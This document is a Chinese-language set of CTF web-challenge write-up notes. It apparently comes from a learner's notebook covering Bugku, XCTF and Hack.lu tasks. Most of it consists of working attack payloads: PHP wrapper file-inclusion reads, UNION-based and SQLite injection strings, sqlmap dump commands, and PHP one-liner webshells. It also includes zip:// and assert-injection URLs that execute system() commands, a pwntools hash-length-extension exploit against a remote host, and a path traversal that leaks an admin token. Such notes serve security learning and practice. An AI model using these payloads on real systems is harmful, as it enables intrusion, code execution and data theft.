上面那个又向一个文件包含，filename传入的还是一个base64编码，看看 aW5kZXgucGhw (index.php) 乍一看还是什么都没有，调整一下line的参数，有点东西了，一点一点扒下来 <?php 	error_reporting(0); 	$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:""); 	$line=isset($_GET['line'])?intval($_GET['line']):0; 	if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ="); 	$file_list = array('0' =>'keys.txt','1' =>'index.php',); 	if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){ 		$file_list[2]='keys.php'; 	} 	if(in_array($file, $file_list)){ 		$fa = file($file); 		echo $fa[$line]; 	} ?> 此时改一下 cookies，margin=margin，游戏结束  php://filter/read=convert.base64-encode/resource=/luodi/youzanyangnk/wangyi.php flag在index里   http://123.206.87.240:8005/post/index.php?file=show.php 既然说flag在index里，看一下index源码，?file=php://filter/read=convert.base64-encode/resource=index.php   解码一下  <?php 	error_reporting(0); 	if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';} 	$file=$_GET['file']; 	if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){ 		echo "Oh no!"; 		exit(); 	} 	include($file);  //flag:flag{edulcni_elif_lacol_si_siht} ?> 成绩单   发现一个用 post 传 id 的输入框，注入题 -1' union select 1,2,3,database()# -1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()# -1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x666c3467#  // 这里用16进制绕过一下 -1' union select 1,2,3,skctf_flag from fl4g#  sqlmap 也能跑出来，牛 sqlmap -u URL --data="id=1" [11:01:58] [INFO] the back-end DBMS is MySQL back-end DBMS: MySQL >= 5.0.12 发现后台数据库是 mysql  列举所有数据库 sqlmap -u URL --data="id=1" --dbs available databases [2]: [*] information_schema [*] skctf_flag  爆出所有表 sqlmap -u URL --data="id=1" -D skctf_flag --tables Database: skctf_flag [2 tables] +------+ | fl4g | | sc   | +------+  列出内容 sqlmap -u http://123.206.87.240:8002/chengjidan/index.php --data="id=1" -T fl4g --dump  也可以选择全弄出来：sqlmap -u http://123.206.87.240:8002/chengjidan/index.php --data="id=1" -D skctf_flag --dump Database: skctf_flag Table: fl4g [1 entry] +---------------------------------+ | skctf_flag                      | +---------------------------------+ | BUGKU{Sql_INJECT0N_4813drd8hz4} | +---------------------------------+ 备份是个好习惯   d41d8cd98f00b204e9800998ecf8427e d41d8cd98f00b204e9800998ecf8427e 提示提到了备份，应该是备份文件源码泄漏一类的，用脚本跑下后台有没有源码 得到 index.php.bak <?php 	include_once "flag.php"; 	ini_set("display_errors", 0); 	$str = strstr($_SERVER['REQUEST_URI'], '?'); 	$str = substr($str,1); 	$str = str_replace('key','',$str); 	parse_str($str); 	echo md5($key1); 	echo md5($key2); 	if(md5($key1) == md5($key2) && $key1 !== $key2){ 		echo $flag."取得flag"; } 有个替换性的过滤，用 kekeyy 就能绕过 分析源码，有个 parse_str()，此函数与 extract() 差不多，将关联数组中的元素与变量联系起来 那么就可以这样传值进去，kekeyy1 & kekeyy2[] MD5函数无法处理数组，于是可以用 kekeyy1[]=33 & kekeyy2[]=44 进行绕过 或者直接 MD5碰撞 ?>  never give up   查看源码，发现一个小注释:1p.html 一打开就跳转到其他页面，拿burp抓一下，发现如下信息  var Words ="%3Cscript%3Ewindow.location.href%3D%27http%3A//www.bugku.com%27%3B%3C/script%3E%20%0A%3C%21--%3D%3D--%3E"  function OutWord() { 	var NewWords; 	NewWords = unescape(Words); 	document.write(NewWords); }  OutWord(); 然后一路解码，得到代码 <script>window.location.href='http://www.bugku.com';</script> 	 <!---->  %22%3Bif%28%21%24_GET%5B%27id%27%5D%29%0A%7B%0A%09header%28%27Location%3A%20hello.php%3Fid%3D1%27%29%3B%0A%09exit%28%29%3B%0A%7D%0A%24id%3D%24_GET%5B%27id%27%5D%3B%0A%24a%3D%24_GET%5B%27a%27%5D%3B%0A%24b%3D%24_GET%5B%27b%27%5D%3B%0Aif%28stripos%28%24a%2C%27.%27%29%29%0A%7B%0A%09echo%20%27no%20no%20no%20no%20no%20no%20no%27%3B%0A%09return%20%3B%0A%7D%0A%24data%20%3D%20@file_get_contents%28%24a%2C%27r%27%29%3B%0Aif%28%24data%3D%3D%22bugku%20is%20a%20nice%20plateform%21%22%20and%20%24id%3D%3D0%20and%20strlen%28%24b%29%3E5%20and%20eregi%28%22111%22.substr%28%24b%2C0%2C1%29%2C%221114%22%29%20and%20substr%28%24b%2C0%2C1%29%21%3D4%29%0A%7B%0A%09require%28%22f4l2a3g.txt%22%29%3B%0A%7D%0Aelse%0A%7B%0A%09print%20%22never%20never%20never%20give%20up%20%21%21%21%22%3B%0A%7D%0A%0A%0A%3F%3E  ";if(!$_GET['id']) { 	header('Location: hello.php?id=1'); 	exit(); } $id=$_GET['id']; $a=$_GET['a']; $b=$_GET['b']; if(stripos($a,'.'))	{ 	echo 'no no no no no no no'; 	return ; } $data = @file_get_contents($a,'r'); if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4) 	require("f4l2a3g.txt"); else 	print "never never never give up !!!"; ?> 既然是 require(f4l2a3g.txt) 直接看看这个文件？flag就直接能看到了 细心   出现一个假的404页面，源代码里面也啥都没有，尝试扫扫后台，发现 robots.txt 打开它，发现一个 resusl.php 文件，再进去看一下，提示 _GET['x'] == password 提交 x = admin ，结果真中了，如果还没出来，只能想办法爆破了 flag.php   有个登录框，点 login 没反应，题名叫 flag.php，肯定有这个文件，进去看一下 啥都没有。上面提交之所以没反应，是因为 action=#，之前猜测直接给flag.php post  user & password 的值，还是没卵用，试试post hint?，还是没用，最终看别人的解释是 在flagphp处get hint=1，直接出源码了？？还是要多尝试，反正就这么多套路   <?php 	error_reporting(0); 	include_once("flag.php"); 	$cookie = $_COOKIE['ISecer']; 	if(isset($_GET['hint'])) 		show_source(__FILE__); 	elseif (unserialize($cookie) === "$KEY")  		echo "$flag"; 	else { 		?> 		<html> 		<head> 		<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> 		<title>Login</title> 		<link rel="stylesheet" href="admin.css" type="text/css"> 		</head> 		<body> 		<br> 		<div class="container" align="center"> 		  <form method="POST" action="#"> 			<p><input name="user" type="text" placeholder="Username"></p> 			<p><input name="password" type="password" placeholder="Password"></p> 			<p><input value="Login" type="button"/></p> 		  </form> 		</div> 		</body> 		</html>  	<?php 	} 		$KEY='ISecer:www.isecer.com'; 	?>  	 打算直接提交ISecer = $KEY 的反序列化，后面发现在此之前$KEY都没有被定义，所以KEY是空的， 只需提交空的序列化上去就可以了 <?php 	$cookie = serialize("$key"); 	print_r($cookie); ?> 这样构造一下，就得到了 s:0:""; 但是注意;(分号)在cookie中不会被正确的上传到服务器，构造URL编码 ;的URL编码为%3B 所以 cookie:ISecer=s:0:""%3B INSERT INTO注入   error_reporting(0);  function getIp(){ 	$ip = ''; 	if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){ 		$ip = $_SERVER['HTTP_X_FORWARDED_FOR']; 	}else{ 		$ip = $_SERVER['REMOTE_ADDR']; 	} 	$ip_arr = explode(',', $ip); 	return $ip_arr[0]; }  $host="localhost"; $user=""; $pass=""; $db="";  $connect = mysql_connect($host, $user, $pass) or die("Unable to connect");  mysql_select_db($db) or die("Unable to select database");  $ip = getIp(); echo 'your ip is :'.$ip; $sql="insert into client_ip (ip) values ('$ip')"; mysql_query($sql); 多次   又是一个注入题，常规的 and 1=1 啥的都被过滤掉了，多积累姿势 getshell   之前还以为要传马，后面查wp发现是我想多了，只要成功传php文件就能拿到flag 顺便学习下文件上传 Content-Type: Multipart/form-data + .php5 ??? 文件包含2   直接伪协议试试：php://filter/read=convert.base64-encode/resource=index.php => NAIVE! 查看源码发现 upload.php => 文件上传  wp上写的是.php;.jpg，我的直接传个 .gif，然后利用本身的 file=xxx，查看了所传图片，命令就被执行了 // 命令执行 <script language=php> system("ls")</script> // 牛逼啊，直接能看到本目录下的所有文件 about hello.php index.php this_is_th3_F14g_154f65sd4g35f4d6f43.txt upload upload.php 还有个思路，传马之后，菜刀连接，此处不用改后缀名也能解析？？ // 一句话木马 <script language=php>eval($_POST['A'])</script> PHP_incrypt_1   fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=  <?php function encrypt($data,$key) { 	$key = md5('ISCC'); 	$x = 0; 	$len = strlen($data); 	$klen = strlen($key); 	for ($i=0; $i < $len; $i++) {  		/* 		if ($x == $klen) { 			$x = 0; 		}*/ 		$char .= $key[$x % $klen]; 		$x += 1; 	} 	for ($i=0; $i < $len; $i++) { 		// $str .= chr((ord($data[$i]) + ord($char[$i])) % 128); 		$str .= chr((ord($data[$i]+ $key[$i % $klen]) % 128); 		// chr 字符，ord ASCII码 	} 	return base64_encode($str); } ?>  import hashlib import base64  key = hashlib.md5("ISCC".encode('utf-8')).hexdigest() base_64 = "fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=" base_64 = base64.b64decode(base_64) data_len = len(base_64)  str_ = "" for i in range(len(base_64)): 	str_ += chr((base_64[i]-ord(key[i%len(key)]))%128)  # 这个题有点水 print(str_) 文件上传2(湖湘杯)   这个题有点坑，我把源码都弄下来后仔细的看能不能绕过，结果看下别人的wp，直接有一个flag.php，我之前没扫出来。 这教会了我一个道理，先扫 flag，flag.php 已加入字典，以后就能扫出来了。  下面的安全性已经非常高了，后缀被控死 upload.php  <?php include 'common.php';  if(isset($_POST['submit']) && isset($_FILES['image'])) { 	$fn = $_FILES['image']['tmp_name'];     // 存储在服务器的文件的临时副本的名称 	$ft = $_FILES['image']['type'];         // 上传文件的类型  	if(!is_uploaded_file($fn)) {  // 判断指定的文件是否是通过 HTTP POST 上传的。 		fatal('uploaded file corrupted'); 	}  	$array = array('image/png'); 	if(!in_array($ft,$array)){ 		fatal("Sorry, only PNG files are allowed."); 	}  	$imagekey = create_image_key();  	move_uploaded_file($fn, "uploads/$imagekey.png");  	header("Location: ?op=show&imagekey=$imagekey"); ?>   show.php  <?php include 'common.php';  if(empty($_GET['imagekey'])) { 	header('Location: ?op=home'); 	exit(); }  $imagekey = $_GET['imagekey']; $im = load_image($imagekey);  $w = imagesx($im); $h = imagesy($im); if($w > MAX_IM_SIZE || $h > MAX_IM_SIZE) 	fatal("Invalid image dimensions."); ?>   common.php  <?php if(!defined('FROM_INDEX')) die();  define('MAX_IM_SIZE', 100);  function create_image_key() { 	return sha1($_SERVER['REMOTE_ADDR'] . $_SERVER['HTTP_USER_AGENT'] . time() . mt_rand()); }  function load_image($imagekey) { 	if(1 !== preg_match('/[0-9a-f]{40}/', $imagekey)) { 		fatal('Invalid image key.'); 		// imagekey=9f6703af622b96dc1a4d01b889587f1ee3fc88d7 	}  	$im = imagecreatefrompng("uploads/{$imagekey}.png"); 	if(!$im) { 		fatal('Failed to load image.'); 	} 	return $im; } stream_wrapper_unregister ("zip"); ?> 这是一个神奇的登录框   直接sqlmap的post注入搞定了 ssi   EIS2018题感觉不错加上了 http://httpd.apache.org/docs/current/howto/ssi.html https://www.owasp.org/index.php/Server-Side_Includes_(SSI)_Injection https://blog.csdn.net/wutianxu123/article/details/82724637 https://www.secpulse.com/archives/66934.html <?php class TinySSI { 	public function parse($content) { 		$parsed = $connect; 		/** #include **/ 		$parsed = preg_replace_callback('|<!--#include virtual="(.*?)"(\s)*-->|', 		function ($matches) {  			$output = file_get_contents("./" . $matches[1]);  			return $output;  		}, $parsed);  		return $parsed;  	}  } ?> <?php echo "Flag is in the file 'flag' in this path\n"; require_once('ssi.php'); $parser = new TinySSI; if(isset($_GET['name'])){ 	echo("Your name is " . $parser->parse($_GET['name'])); 	exit(); } ?> <!--#include virtual="flag" --> sql注入2   全都tm过滤了绝望吗？ 提示 !,!=,=,+,-,^,% flag 被盗   跟踪了几个TCP流，发现shell.php，后来在TCP流中直接看到了flag 中国菜刀   看了几个数据流，发现了一下内容 flag.tar.gz	2016-06-27 08:45:38	203	0666 log.txt	2015-06-03 12:18:46	1502	0666 news.asp	2014-06-27 03:44:24	365	0666 SaveFile.asp	2014-06-27 05:45:08	822	0666 testNull.php	2014-07-17 08:06:14	16	0666 upload.html	2014-06-27 05:27:46	364	0666 webshell.php	2014-07-21 05:52:36	18	0666 xiaoma.asp;.jpg	2014-07-04 08:17:18	1312	0666  猜测 caidao.pcapng 包含了其他文件 使用 binwalk 查看一下 7747          0x1E43          gzip compressed data, from Unix, last modified: 2016-06-27 08:44:39  提取 dd if=caidao.pcapng of=1.gzip skip=7747 bs=1   解压 ➜  CTF tar -xvf 1.gzip  gzip: stdin: decompression OK, trailing garbage ignored flag/ flag/flag.txt tar: Child returned status 2 tar: Error is not recoverable: exiting now  可直接导出？以后补充 这么多数据包   打开一看真的是很多数据包，看一下http，没有。 题目提示，寻找 getshell 流。一般的 getshell 流的 TCP 的报文中很可能包含 command 这个字段， 我们可以通过 【协议 contains "内容"】 来查找 getshell 流 tcp contains "command" 看到几个tcp 再追踪tcp流 C:\>type s4cr4t.txt type s4cr4t.txt Q0NURntkb195b3VfbGlrZV9zbmlmZmVyfQ== C:\>shutdown -r -t 100 -m "Stupid Manager!" shutdown -r -t 100 -m "Stupid Manager!" 百越杯 买手机   重点学习 zio <? import hashpumpy import urllib from urlparse import parse_qsl from zio import * import re, string, itertools io = zio(('117.50.13.182', 8888)) io.read_until('Command: ') io.writeline('2') io.writeline('9') io.read_until('Your order:\n') c = io.readline('\n') d = parse_qsl(c) hash = d[3][1].strip() pr = 'product=Flag&price=99999&timestamp=%s'%(d[2][1]) print hash, pr for i in range(8,32): 	ret = hashpumpy.hashpump(hash, pr, '&price=233', i) 	order = '%s&sign=%s' %(ret[1], ret[0]) 	io.writeline('3') 	io.read_until('\n') 	io.writeline(order) 	io.read_until('Command: ')   from pwn import * # context.log_level = 'debug' import hashpumpy p = remote("117.50.13.182",8888)  p.sendline('2') p.sendline('9') timestamp = p.recvuntil("&sign=")[-22:-6]  sign = p.recvuntil("\n") sign = sign[:-1] pr = "product=Flag&price=99999&timestamp="+timestamp  for i in range(8,32): 	ret = hashpumpy.hashpump(sign,pr,"&price=11",i)  	order = '%s&sign=%s'%(ret[1],ret[0]) 	temp = p.recv() 	if "Well" in temp: 		print "------------------------------>>>>>",temp 		exit() 	p.sendline('3') 	p.recv() 	p.sendline(str(order)) #flag{Hash_leNgth_eXt3ns1on_attack_!S)_E@sy} SWPUCTF2018 web3   乍一看 XCTF adworld Guess   伪协议查看源码： http://111.198.29.45:32406/?page=php://filter/read=convert.base64-encode/resource=index  upload.php	 <?php error_reporting(0); function show_error_message($message) { 	die("<div class=\"msg error\" id=\"message\"> 	<i class=\"fa fa-exclamation-triangle\"></i>$message</div>"); }  function show_message($message) { 	echo("<div class=\"msg success\" id=\"message\"> 	<i class=\"fa fa-exclamation-triangle\"></i>$message</div>"); }  function random_str($length = "32") { 	$set = array("a", "A", "b", "B", "c", "C", "d", "D", "e", "E", "f", "F", 		"g", "G", "h", "H", "i", "I", "j", "J", "k", "K", "l", "L", 		"m", "M", "n", "N", "o", "O", "p", "P", "q", "Q", "r", "R", 		"s", "S", "t", "T", "u", "U", "v", "V", "w", "W", "x", "X", 		"y", "Y", "z", "Z", "1", "2", "3", "4", "5", "6", "7", "8", "9"); 	$str = '';  	for ($i = 1; $i <= $length; ++$i) { 		$ch = mt_rand(0, count($set) - 1); 		$str .= $set[$ch]; 	} 	$filename = './uP1O4Ds/' . $str . '_'; 	return $str; } session_start();  $reg='/gif|jpg|jpeg|png/'; if (isset($_POST['submit'])) { 	$seed = rand(0,999999999);  // 生成随机数做种子 	mt_srand($seed);  // 用seed给随机数发生器播种 	$ss = mt_rand();  // 取随机数 	$hash = md5(session_id() . $ss);	 	setcookie('SESSI0N', $hash, time() + 3600); 	// SESSION e6bf37f50f6f9f290e834613beb73cac  4bfeacdfd8404d5c03e91441ffef3a18 	// 得到一个随机数 352940737 	// 得到可能的种子 3281694990 3281694991 981279433  	/* 	zip://uP1O4Ds/xlKZUYfp47Dl1cHKvGz84VIY64sIItpF_test.png%23test&a=phpinfo(); 	zip://uP1O4Ds/uISoLxXH6C3FBakm7buwAMVQGR3zwRoG_test.png%23test&a=phpinfo(); 	zip://uP1O4Ds/HNugRX9Vq7I2o9Tq67KrDbERlYpMjZGp_test.png%23test&a=phpinfo(); 	zip://uP1O4Ds/HQQ6DPmMEyttuA9AB5bic3MzOfOTKSa4_test.png%23test&a=phpinfo(); 	zip://uP1O4Ds/H4zDu3QZU6pbeFFLl8ax8TKMDwusUQfu_test.png%23test&a=phpinfo();  	*/  	zip://uP1O4Ds/Ah86F1AZxgsLc8UUjkHPZRKMoCM3XUdT_test.png%23test&a=phpinfo(); 	 	/uP1O4Ds/NugRX9Vq7I2o9Tq67KrDbERlYpMjZGpI_test.png  	zip://uP1O4Ds/OjOqKNhiJZUIgqFKGTVLHvk99BZNejf6_1.png1&a=phpinfo();  	zip://uP1O4Ds/fds3uXk1hjEypt342Br71GmEuSvDpGSo_1.png/1&a=echo system('ls'); 	zip://uP1O4Ds/st8LyW7GqjK8SniSUB7RCBERGsHrplZn_1.png/1&a=echo system('ls'); 	zip://uP1O4Ds/OjOqKNhiJZUIgqFKGTVLHvk99BZNejf6_1.png/1&a=echo system('ls');  	if ($_FILES["file"]["error"] > 0) { 		show_error_message("Upload ERROR. Return Code: " . $_FILES["file-upload-field"]["error"]); 	} 	$check2 = ((($_FILES["file-upload-field"]["type"] == "image/gif") 			|| ($_FILES["file-upload-field"]["type"] == "image/jpeg") 			|| ($_FILES["file-upload-field"]["type"] == "image/pjpeg") 			|| ($_FILES["file-upload-field"]["type"] == "image/png")) 		&& ($_FILES["file-upload-field"]["size"] < 204800)); 	$check3=!preg_match($reg,pathinfo($_FILES['file-upload-field']['name'], PATHINFO_EXTENSION));   	if ($check3) show_error_message("Nope!"); 	if ($check2) { 		$filename = './uP1O4Ds/' . random_str() . '_' . $_FILES['file-upload-field']['name']; 		if (move_uploaded_file($_FILES['file-upload-field']['tmp_name'], $filename)) { 			show_message("Upload successfully. File type:" . $_FILES["file-upload-field"]["type"]); 		} else show_error_message("Something wrong with the upload..."); 	} else { 		show_error_message("only allow gif/jpeg/png files smaller than 200kb!"); 	} } ?>   index.php <?php error_reporting(0);  session_start(); if(isset($_GET['page'])){ 	$page=$_GET['page']; }else{ 	$page=null; }  if(preg_match('/\.\./',$page)) { 	echo "<div class=\"msg error\" id=\"message\"> 	<i class=\"fa fa-exclamation-triangle\"></i>Attack Detected!</div>"; 	die(); } ?>  <?php if($page) { 	if(!(include($page.'.php'))) { 		echo "<div class=\"msg error\" id=\"message\"> 	<i class=\"fa fa-exclamation-triangle\"></i>error!</div>"; 		exit; 	} } ?>  爆破随机数种子(session_id为我们的 PHPSESSID，hash为SESSI0N) ini_set(‘max_execution_time’, ‘0’);  // 设置运行时间无限  http://111.198.29.45:30278/?page=zip://uP1O4Ds/FQclJFtaEBXXgNuc4nfI1kC7HXTZn3Xx_test.png%23test/test&a=echo%20system(%27cat%20./flag-Edi98vJF8hnIp.txt%27); xctf{3fbbe15371c9cd42ec1a698d7660849a} xctf{3fbbe15371c9cd42ec1a698d7660849a} http://111.198.29.45:30278/?page=zip://uP1O4Ds/FQclJFtaEBXXgNuc4nfI1kC7HXTZn3Xx_test.png%23test/test&a=echo%20system(%27ls%27); CSS flag-Edi98vJF8hnIp.txt index.html index.php js uP1O4Ds upload.php upload.php adworld simple_js   function dechiffre(pass_enc){ 	var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65"; 	var tab  = pass_enc.split(','); 	var tab2 = pass.split(','); 	var i,j,k,l=0,m,n,o,p = ""; 	i = 0; 	j = tab.length; 	k = j + (l) + (n=0); 	n = tab2.length; 	for(i = (o=0); i < (k = j = n); i++ ) { 		o = tab[i-l]; 		p += String.fromCharCode((o = tab2[i])); 		if(i == 5)  			break; 	} 	for(i = (o=0); i < (k = j = n); i++ ){ 		o = tab[i-l]; 		if(i > 5 && i < k-1) 				p += String.fromCharCode((o = tab2[i])); 	} 	p += String.fromCharCode(tab2[17]); 	pass = p; 	return pass; } String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30")); 55,56,54,79,115,69,114,116,107,49,50  h = window.prompt('Enter password'); alert( dechiffre(h) ); FlatScience Hack.lu-2017   目录扫描得到 login.php admin.php，也可以直接查看 robots.txt <!-- TODO: Remove ?debug-Parameter! --> 此处 login.php?debug=1 可看到源码  <?php  	ob_start();  ?>   <?php  if(isset($_POST['usr']) && isset($_POST['pw'])){  		$user = $_POST['usr'];  		$pass = $_POST['pw'];   		$db = new SQLite3('../fancy.db');  		 		$res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");  	if($res){  		$row = $res->fetchArray();  	}  	else{  		echo "<br>Some Error occourred!";  	}   	if(isset($row['id'])){  			setcookie('name',' '.$row['name'], time() + 60, '/');  			header("Location: /");  			die();  	}  }   if(isset($_GET['debug']))  	highlight_file('login.php');  ?>  <!-- TODO: Remove ?debug-Parameter! -->   开始 sqlite 注入 参考文章 https://www.anquanke.com/post/id/85552  获得表信息 usr=111' union select 1,name FROM sqlite_master WHERE type='table' limit 0,1 --&pw=f 只有一个表 Users  获得所有表结构： usr=111' union select 1,sql FROM sqlite_master WHERE type='table' limit 0,1 --&pw=f  CREATE TABLE Users( 	id int primary key, 	name varchar(255), 	password varchar(255), 	hint+varchar(255) );  usr=111' union select 1, name FROM users limit 0,1 --&pw=f admin	3fab54a50e770d830c0416df817567662a9dc85c	my+fav+word+in+my+fav+paper  将网站上的所有 pdf 下载下来，我们这里用 wget 递归下载：wget xxx.com -r -np -nd -A .pdf  -r：层叠递归处理 -np：不向上（url 路径）递归 -nd：不创建和 web 网站相同（url 路径）的目录结构 -A type：文件类型   参考 https://chybeta.github.io/2017/10/22/Hack-lu-CTF-2017-Flatscience-writeup/ 暴力py脚本 from cStringIO import StringIO from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter from pdfminer.converter import TextConverter from pdfminer.layout import LAParams from pdfminer.pdfpage import PDFPage import sys import string import os import hashlib def get_pdf(): 	return [i for i in os.listdir("./") if i.endswith("pdf")] def convert_pdf_2_text(path): 	rsrcmgr = PDFResourceManager() 	retstr = StringIO() 	device = TextConverter(rsrcmgr, retstr, codec='utf-8', laparams=LAParams()) 	interpreter = PDFPageInterpreter(rsrcmgr, device) 	with open(path, 'rb') as fp: 		for page in PDFPage.get_pages(fp, set()): 			interpreter.process_page(page) 		text = retstr.getvalue() 	device.close() 	retstr.close() 	return text def find_password(): 	pdf_path = get_pdf() 	for i in pdf_path: 		print "Searching word in " + i 		pdf_text = convert_pdf_2_text(i).split(" ") 		for word in pdf_text: 			sha1_password = hashlib.sha1(word+"Salz!").hexdigest() 			if sha1_password == '3fab54a50e770d830c0416df817567662a9dc85c': 				print "Find the password :" + word 				exit() if __name__ == "__main__": 	find_password()  参考 https://wu.rot26.team/CTF/Hacklu/2017/web/flatscience/ find -name *.pdf -exec pdftotext {} \; mkdir txts find -name *.txt -exec cp {} txts \; for i in `ls`; do tr -c '[:alnum:]' '[\n*]' < $i | sort | uniq ; done > wordlist  import hashlib from tqdm import tqdm  with open('wordlist') as words: 	__values__ = words.readlines() 	for word in tqdm(__values__): 		word = word[:-1] 		hash_object = hashlib.sha1(b""+word+"Salz!") 		hex_dig = hash_object.hexdigest() 		if "3fab54a50e770d830c0416df817567662a9dc85c" in hex_dig: 			print word ’  lottery Qctf2018   <?php function random_num(){ 	do { 		$byte = openssl_random_pseudo_bytes(10, $cstrong); 		$num = ord($byte); 	} while ($num >= 250);  	if(!$cstrong){ 		response_error('server need be checked, tell admin'); 	} 	 	$num /= 25; 	return strval(floor($num)); }  function random_win_nums(){ 	$result = ''; 	for($i=0; $i<7; $i++){ 		$result .= random_num(); 	} 	return $result; }  $same_count = 0; for($i=0; $i<7; $i++){ 	if($numbers[$i] == $win_numbers[$i]){ 		$same_count++; 	} } ?>  openssl_random_pseudo_bytes() 之前的第一想法是找破解办法，猜出随机数，找半天发现确实不行。用不着死磕，思路不行立即变换，死磕没有任何意义。 看下wp之后，毕竟两星级，确实非常简单，弱类型绕过。 {"action":"buy","numbers":[true,true,true,true,true,true,true]}  有的选手用了暴力重复注册然后买彩票的方法。 考虑了一下这种方法花费的时间并不比直接审计代码短，为了给广大彩民一点希望， 可以留作一种备选的非预期解，就没有改题加验证码或者提高flag价格。  这也是好玩法，可惜没环境了，不然试试看。  http://111.198.29.45:31444/?page=111%27)%20or%20system(%27cat%20templates/flag.php%27)%3b%23 #mfw csaw-ctf-2016-quals githack 得到源码  <?php 	$file = "templates/" . $page . ".php";  	// I heard '..' is dangerous! 	assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");  	// TODO: Make this look nice 	assert("file_exists('$file')") or die("That file doesn't exist!"); ?>  http://111.198.29.45:31444/?page=111%27)%20or%20system(%27cat%20templates%2fflag.php%27)%3b%23 闭合，并注释后面的语句 CSAW CTF 2016 wtf.sh wtf.sh  https://github.com/ernw/ctf-writeups/tree/master/csaw2016/wtf.sh GET /post.wtf?post=../../../../../../../../../../../tmp/wtf_runtime/wtf.sh/users* USERNAME=admin; TOKEN=uYpiNNf/X0/0xNfqmsuoKFEtRlQDwNbS2T6LdHDRWH5p3x4bL4sxN0RMg17KJhAmTMyr8Sem++fldP0scW7g3w==
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